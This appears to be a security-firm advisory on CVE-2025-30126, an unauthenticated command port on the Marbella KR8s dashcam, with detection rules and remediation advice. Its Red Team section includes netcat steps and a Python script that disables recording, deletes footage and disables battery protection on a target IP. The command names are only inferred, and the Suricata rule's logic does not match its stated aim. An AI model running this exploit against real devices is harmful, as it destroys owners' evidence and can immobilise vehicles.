CVE-2025-30126

Executive Summary

CVE-2025-30126 exposes a critical security flaw in Marbella KR8s Dashcam FF 2.0.8 devices. A remote, unauthenticated attacker can connect to the device on TCP port 7777 and issue commands to disable recording, delete stored recordings, or disable battery protection. The latter action can drain the vehicle’s battery, rendering the car inoperable. No physical pairing or button press is required, and the dashcam provides no audible or visual feedback to the owner during the attack. This vulnerability is particularly dangerous for fleet vehicles and personal cars, as it can lead to both data loss and physical immobilization.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the dashcam.
• Confidentiality (C): None (N) – No data exfiltration.
• Integrity (I): High (H) – Recordings can be deleted or disabled.
• Availability (A): High (H) – Battery protection can be disabled, causing vehicle immobilization.

CVSS Score: 9.1 (Critical)

Threat Level: Critical. The attack is trivial to execute and can cause physical damage (dead battery) and loss of evidence.

Deep Dive & Mechanics

The Marbella KR8s Dashcam exposes a TCP service on port 7777 that accepts plaintext commands. The service lacks any authentication mechanism, allowing any network-connected attacker to send commands. The dashcam processes these commands without verifying the source or requiring a pairing procedure.

Key Commands (inferred from behavior):

• DISABLE_RECORDING – Stops video capture.
• DELETE_ALL – Erases all stored footage.
• DISABLE_BATTERY_PROTECTION – Disables the low-voltage cutoff, allowing the dashcam to drain the car battery completely.

The attack surface is limited to the local network (Wi-Fi or wired), but if the dashcam is exposed to the internet (e.g., via port forwarding), the attack can be launched from anywhere. The lack of any audible or visual alert makes the attack stealthy.

Vulnerable vs. Patched Code

No patch is currently available. The vulnerable firmware version is FF 2.0.8. The following pseudo-code illustrates the vulnerable service:

Vulnerable (FF 2.0.8):

# Vulnerable TCP server on port 7777
import socket
s = socket.socket()
s.bind(('0.0.0.0', 7777))
s.listen()
while True:
    conn, addr = s.accept()
    data = conn.recv(1024)
    # No authentication check
    if b'DISABLE_RECORDING' in data:
        disable_recording()
    elif b'DELETE_ALL' in data:
        delete_all_recordings()
    elif b'DISABLE_BATTERY_PROTECTION' in data:
        disable_battery_protection()
    conn.close()

Patched (Hypothetical):

# Patched TCP server with authentication
import socket, hmac, hashlib
SECRET = b'pre-shared-key'
s = socket.socket()
s.bind(('0.0.0.0', 7777))
s.listen()
while True:
    conn, addr = s.accept()
    data = conn.recv(1024)
    # Require HMAC-signed commands
    if len(data) < 32:
        conn.close()
        continue
    command = data[:-32]
    signature = data[-32:]
    expected = hmac.new(SECRET, command, hashlib.sha256).digest()
    if not hmac.compare_digest(signature, expected):
        conn.close()
        continue
    if b'DISABLE_RECORDING' in command:
        disable_recording()
    # ... other commands
    conn.close()

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a Marbella KR8s Dashcam (FF 2.0.8) or emulate the service using a Python script.
2. Connect the dashcam to a local network (e.g., via Wi-Fi).
3. Identify the dashcam’s IP address (e.g., via ARP scan or DHCP logs).

Exploitation Steps:

1. Connect to the dashcam on port 7777 using netcat:

   nc <dashcam_ip> 7777
   

2. Send commands to disable recording:

   DISABLE_RECORDING
   

3. Send command to delete all recordings:

   DELETE_ALL
   

4. Send command to disable battery protection:

   DISABLE_BATTERY_PROTECTION
   

5. Observe that the dashcam stops recording, deletes files, and the vehicle battery may drain.

Automated Exploit (Python):

import socket
target = input("Enter dashcam IP: ")
commands = [b'DISABLE_RECORDING', b'DELETE_ALL', b'DISABLE_BATTERY_PROTECTION']
for cmd in commands:
    s = socket.socket()
    s.settimeout(5)
    s.connect((target, 7777))
    s.send(cmd)
    s.close()
    print(f"Sent: {cmd.decode()}")

Blue Team

Detection:

• Monitor for unexpected connections to port 7777 on dashcam IPs.
• Alert on any traffic containing the strings DISABLE_RECORDING, DELETE_ALL, or DISABLE_BATTERY_PROTECTION.
• Use network segmentation to isolate dashcams from the internet and untrusted networks.

Response:

• Immediately disconnect the dashcam from the network.
• Check if recordings have been deleted (forensic recovery may be possible).
• Re-enable battery protection via physical reset if possible.
• Apply firmware update when available.

Indicators of Compromise (IOCs)

• Network:
  • TCP connections to port 7777 on dashcam IPs.
  • Plaintext strings: DISABLE_RECORDING, DELETE_ALL, DISABLE_BATTERY_PROTECTION.
• Host (Dashcam):
  • Missing or zero-length recording files.
  • Dashcam LED status indicating recording is off (if visible).
  • Vehicle battery drained unexpectedly.
• Logs:
  • No logs are generated by the dashcam for these actions.

Detection Engineering

YARA Rule

rule CVE_2025_30126_Dashcam_Command {
    meta:
        description = "Detects commands sent to Marbella KR8s Dashcam on port 7777"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-30126"
    strings:
        $cmd1 = "DISABLE_RECORDING" ascii wide nocase
        $cmd2 = "DELETE_ALL" ascii wide nocase
        $cmd3 = "DISABLE_BATTERY_PROTECTION" ascii wide nocase
    condition:
        any of ($cmd*)
}

Sigma Rule

title: CVE-2025-30126 Marbella Dashcam Unauthenticated Command Injection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects network traffic containing commands targeting Marbella KR8s Dashcam on port 7777
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: zeek
detection:
    selection:
        destination_port: 7777
        payload|contains:
            - 'DISABLE_RECORDING'
            - 'DELETE_ALL'
            - 'DISABLE_BATTERY_PROTECTION'
    condition: selection
falsepositives:
    - Legitimate administrative tools (unlikely)
level: critical

Suricata Rule

alert tcp any any -> any 7777 (msg:"CVE-2025-30126 Marbella Dashcam Unauthenticated Command"; content:"DISABLE_RECORDING"; nocase; content:"DELETE_ALL"; nocase; content:"DISABLE_BATTERY_PROTECTION"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Isolate dashcams on a separate VLAN with strict firewall rules blocking inbound connections to port 7777 from untrusted networks.
   • Disable port forwarding for dashcam IPs.
   • Monitor network traffic for the IOCs listed above.

2. Vendor Actions:

   • Marbella must release a firmware update that implements authentication (e.g., HMAC or TLS) for all commands on port 7777.
   • Add physical button confirmation for critical actions (e.g., delete all recordings).
   • Implement logging and alerting for configuration changes.

3. Long-Term:

   • Replace dashcams with models that support secure boot and signed firmware.
   • Conduct regular security audits of IoT devices.

Valters IT
Securing Digital Frontiers